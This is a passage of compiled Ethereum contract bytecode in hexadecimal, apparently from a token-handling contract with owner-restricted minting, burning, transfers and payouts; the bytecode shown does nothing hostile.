a3267cce1aea000dd2cc7a0778aa829963a6bdcc17909160016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015611abb57600080fd5b505af4158015611acf573d6000803e3d6000fd5b505050506040513d6020811015611ae557600080fd5b81019080805190602001909291905050501515611b0157600080fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015611bb557600080fd5b505af4158015611bc9573d6000803e3d6000fd5b505050506040513d6020811015611bdf57600080fd5b8101908080519060200190929190505050601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e5473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015611caa57600080fd5b505af4158015611cbe573d6000803e3d6000fd5b505050506040513d6020811015611cd457600080fd5b8101908080519060200190929190505050600e819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d975750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611da257600080fd5b80600260008460ff1660ff168152602001908152602001600020600101819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e6f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611e7a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611eb657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fc6a1baebe57160c2d8aaa4affd797ada64a54753248acc4887748a2d99f5233260405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061201e5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561202957600080fd5b80600260008460ff1660ff168152602001908152602001600020600401819055505050565b600e5481565b61209d81601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613254565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806121485750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806121a05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156121ab57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156121e757600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156122ac57600080fd5b505af11580156122c0573d6000803e3d6000fd5b505050506040513d60208110156122d657600080fd5b8101908080519060200190929190505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6002602052806000526040600020600091509050806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123be5780601f10612393576101008083540402835291602001916123be565b820191906000526020600020905b8154815290600101906020018083116123a157829003601f168201915b5050505050908060010154908060020154908060030160009054906101000a900460ff16908060040154908060050154905086565b6123fc3361482c565b565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806124cc5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156124d757600080fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080600760008481526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963e9970b6c90916009546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156125bf57600080fd5b505af41580156125d3573d6000803e3d6000fd5b505050506040513d60208110156125e957600080fd5b8101908080519060200190929190505050151561260557600080fd5b60016007600085815260200190815260200160002054016020029150600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156126e157600080fd5b505af11580156126f5573d6000803e3d6000fd5b505050506040513d602081101561270b57600080fd5b810190808051906020019092919050505073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15801561279057600080fd5b505af41580156127a4573d6000803e3d6000fd5b505050506040513d60208110156127ba57600080fd5b810190808051906020019092919050505015156127d657600080fd5b6127e03383612ee8565b60076000848152602001908152602001600020600081548092919060010191905055506128108360016000614f9d565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806128bd5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156128c857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561290457600080fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156129a057600080fd5b6129ab8282336150d6565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a0a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612a4657600080fd5b8073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc17909160016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015612abc57600080fd5b505af4158015612ad0573d6000803e3d6000fd5b505050506040513d6020811015612ae657600080fd5b81019080805190602001909291905050501515612b0257600080fd5b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515612b5057600080fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e5473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015612c0b57600080fd5b505af4158015612c1f573d6000803e3d6000fd5b505050506040513d6020811015612c3557600080fd5b8101908080519060200190929190505050600e819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612cf85750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80612d505750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612d5b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612d9757600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612e5c57600080fd5b505af1158015612e70573d6000803e3d6000fd5b505050506040513d6020811015612e8657600080fd5b8101908080519060200190929190505050505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612f905750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80612fe85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612ff357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561302f57600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156130f457600080fd5b505af1158015613108573d6000803e3d6000fd5b505050506040513d602081101561311e57600080fd5b8101908080519060200190929190505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156131b357600080fd5b6000905060008251141515613242578160008151811015156131d157fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900490505b61324d8184876150d6565b5050505050565b8073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc17909160016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156132ca57600080fd5b505af41580156132de573d6000803e3d6000fd5b505050506040513d60208110156132f457600080fd5b8101908080519060200190929190505050151561331057600080fd5b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156133c457600080fd5b505af41580156133d8573d6000803e3d6000fd5b505050506040513d60208110156133ee57600080fd5b8101908080519060200190929190505050151561340a57600080fd5b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963f4f3bdc19091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156134be57600080fd5b505af41580156134d2573d6000803e3d6000fd5b505050506040513d60208110156134e857600080fd5b8101908080519060200190929190505050601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156135f057600080fd5b505af4158015613604573d6000803e3d6000fd5b505050506040513d602081101561361a57600080fd5b8101908080519060200190929190505050601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60095481565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166136ed57600260008360ff1660ff168152602001908152602001600020600401546136f0565b60005b90503473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15801561376757600080fd5b505af415801561377b573d6000803e3d6000fd5b505050506040513d602081101561379157600080fd5b810190808051906020019092919050505015156137ad57600080fd5b3473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963dcf6a5929091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15801561382257600080fd5b505af4158015613836573d6000803e3d6000fd5b505050506040513d602081101561384c57600080fd5b810190808051906020019092919050505015613959573373ffffffffffffffffffffffffffffffffffffffff166108fc3473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963f4f3bdc19091856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156138f157600080fd5b505af4158015613905573d6000803e3d6000fd5b505050506040513d602081101561391b57600080fd5b81019080805190602001909291905050509081150290604051600060405180830381858888f19350505050158015613957573d6000803e3d6000fd5b505b61396333836155b9565b5050565b60116020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156139da57600080fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151515613a2957600080fd5b613a328161482c565b613a7b81601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054615aa6565b50565b600080600860008481526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963e9970b6c90916009546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015613b0b57600080fd5b505af4158015613b1f573d6000803e3d6000fd5b505050506040513d6020811015613b3557600080fd5b81019080805190602001909291905050501515613b5157600080fd5b60016008600085815260200190815260200160002054016020029150600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015613c2d57600080fd5b505af1158015613c41573d6000803e3d6000fd5b505050506040513d6020811015613c5757600080fd5b810190808051906020019092919050505073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015613cdc57600080fd5b505af4158015613cf0573d6000803e3d6000fd5b505050506040513d6020811015613d0657600080fd5b81019080805190602001909291905050501515613d2257600080fd5b613d2c3383612ee8565b6008600084815260200190815260200160002060008154809291906001019190505550613d5c8360006001614f9d565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613e095750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515613e1457600080fd5b80600260008460ff1660ff16815260200190815260200160002060030160006101000a81548160ff021916908360ff1602179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613ef55750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515613f0057600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015613fa357600080fd5b505af1158015613fb7573d6000803e3d6000fd5b505050506040513d6020811015613fcd57600080fd5b81019080805190602001909291905050501515613fe957600080fd5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806140965750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156140a157600080fd5b6140ab82826155b9565b5050565b60106020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061416f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561417a57600080fd5b600860008481526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963e9970b6c90916009546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15801561420457600080fd5b505af4158015614218573d6000803e3d6000fd5b505050506040513d602081101561422e57600080fd5b8101908080519060200190929190505050151561424a57600080fd5b614255838383614f9d565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806143025750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561430d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561434957600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b61439d3382615aa6565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156143fb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561443757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0384899bd253d83b23daa4d29aaa2efe0563d1132b43101e9ad667235aeb951b60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60036020528060005260406000206000915054906101000a900460ff1681565b60066020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806145d55750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156145e057600080fd5b600081111561468a576001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614728565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60076020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806147ec5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156147f757600080fd5b80600260008460ff1660ff1681526020019081526020016000206000019080519060200190614827929190615d8e565b505050565b600080601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc17909160016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156148e457600080fd5b505af41580156148f8573d6000803e3d6000fd5b505050506040513d602081101561490e57600080fd5b8101908080519060200190929190505050151561492a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163173b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091600f546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156149b857600080fd5b505af41580156149cc573d6000803e3d6000fd5b505050506040513d60208110156149e257600080fd5b810190808051906020019092919050505091508173b5f1efa8a3267cce1aea000dd2cc7a0778aa8299631d3b9edf9091601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015614aa957600080fd5b505af4158015614abd573d6000803e3d6000fd5b505050506040513d6020811015614ad357600080fd5b810190808051906020019092919050505073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963e39bbf689091600e546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015614b5a57600080fd5b505af4158015614b6e573d6000803e3d6000fd5b505050506040513d6020811015614b8457600080fd5b810190808051906020019092919050505073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963f4f3bdc19091601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015614c4857600080fd5b505af4158015614c5c573d6000803e3d6000fd5b505050506040513d6020811015614c7257600080fd5b8101908080519060200190929190505050905060008114151515614c9557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163173b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015614d2157600080fd5b505af4158015614d35573d6000803e3d6000fd5b505050506040513d6020811015614d4b57600080fd5b81019080805190602001909291905050501515614d6757600080fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015614e1b57600080fd5b505af4158015614e2f573d6000803e3d6000fd5b505050506040513d6020811015614e4557600080fd5b8101908080519060200190929190505050601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f5473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015614f1057600080fd5b505af4158015614f24573d6000803e3d6000fd5b505050506040513d6020811015614f3a57600080fd5b8101908080519060200190929190505050600f819055508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614f97573d6000803e3d6000fd5b50505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663d54c2a638585856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018381526020018281526020019350505050602060405180830381600087803b15801561504357600080fd5b505af1158015615057573d6000803e3d6000fd5b505050506040513d602081101561506d57600080fd5b8101908080519060200190929190505050151561508957600080fd5b7fce1d0ccd3193ad0a874c6998c738b5603d55f8e2951d1d523203bec9859257ec84848460405180848152602001838152602001828152602001935050505060405180910390a150505050565b600080600080600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561513457600080fd5b859350600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205492508373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561521457600080fd5b505af1158015615228573d6000803e3d6000fd5b505050506040513d602081101561523e57600080fd5b810190808051906020019092919050505091508373ffffffffffffffffffffffffffffffffffffffff166323b872dd8630866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561532857600080fd5b505af115801561533c573d6000803e3d6000fd5b505050506040513d602081101561535257600080fd5b8101908080519060200190929190505050508373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156153ff57600080fd5b505af1158015615413573d6000803e3d6000fd5b505050506040513d602081101561542957600080fd5b810190808051906020019092919050505090508073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc1790918473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156154ce57600080fd5b505af41580156154e2573d6000803e3d6000fd5b505050506040513d60208110156154f857600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15801561556057600080fd5b505af4158015615574573d6000803e3d6000fd5b505050506040513d602081101561558a57600080fd5b810190808051906020019092919050505015156155a657600080fd5b6155b085886155b9565b50505050505050565b600080600260008460ff1660ff1681526020019081526020016000209150816001015473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963e9970b6c9091846002015473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f90918760030160009054906101000a900460ff166040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1681526020019250505060206040518083038186803b15801561568557600080fd5b505af4158015615699573d6000803e3d6000fd5b505050506040513d60208110156156af57600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15801561571757600080fd5b505af415801561572b573d6000803e3d6000fd5b505050506040513d602081101561574157600080fd5b8101908080519060200190929190505050151561575d57600080fd5b816001015473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f90918460030160009054906101000a900460ff166040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1681526020019250505060206040518083038186803b1580156157ea57600080fd5b505af41580156157fe573d6000803e3d6000fd5b505050506040513d602081101561581457600080fd5b81019080805190602001909291905050508260010181905550816004015473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f909184600501546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156158aa57600080fd5b505af41580156158be573d6000803e3d6000fd5b505050506040513d60208110156158d457600080fd5b81019080805190602001909291905050508260040181905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663051cb63085858560030160009054906101000a900460ff166040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018360ff1660ff1681526020018260ff1660ff1681526020019350505050602060405180830381600087803b1580156159da57600080fd5b505af11580156159ee573d6000803e3d6000fd5b505050506040513d6020811015615a0457600080fd5b8101908080519060200190929190505050507f7c12d07c326e7e7179cf73338029105927aa15cf707eb2bd4d3842a2a3af69c3838360030160009054906101000a900460ff1686604051808460ff1681526020018360f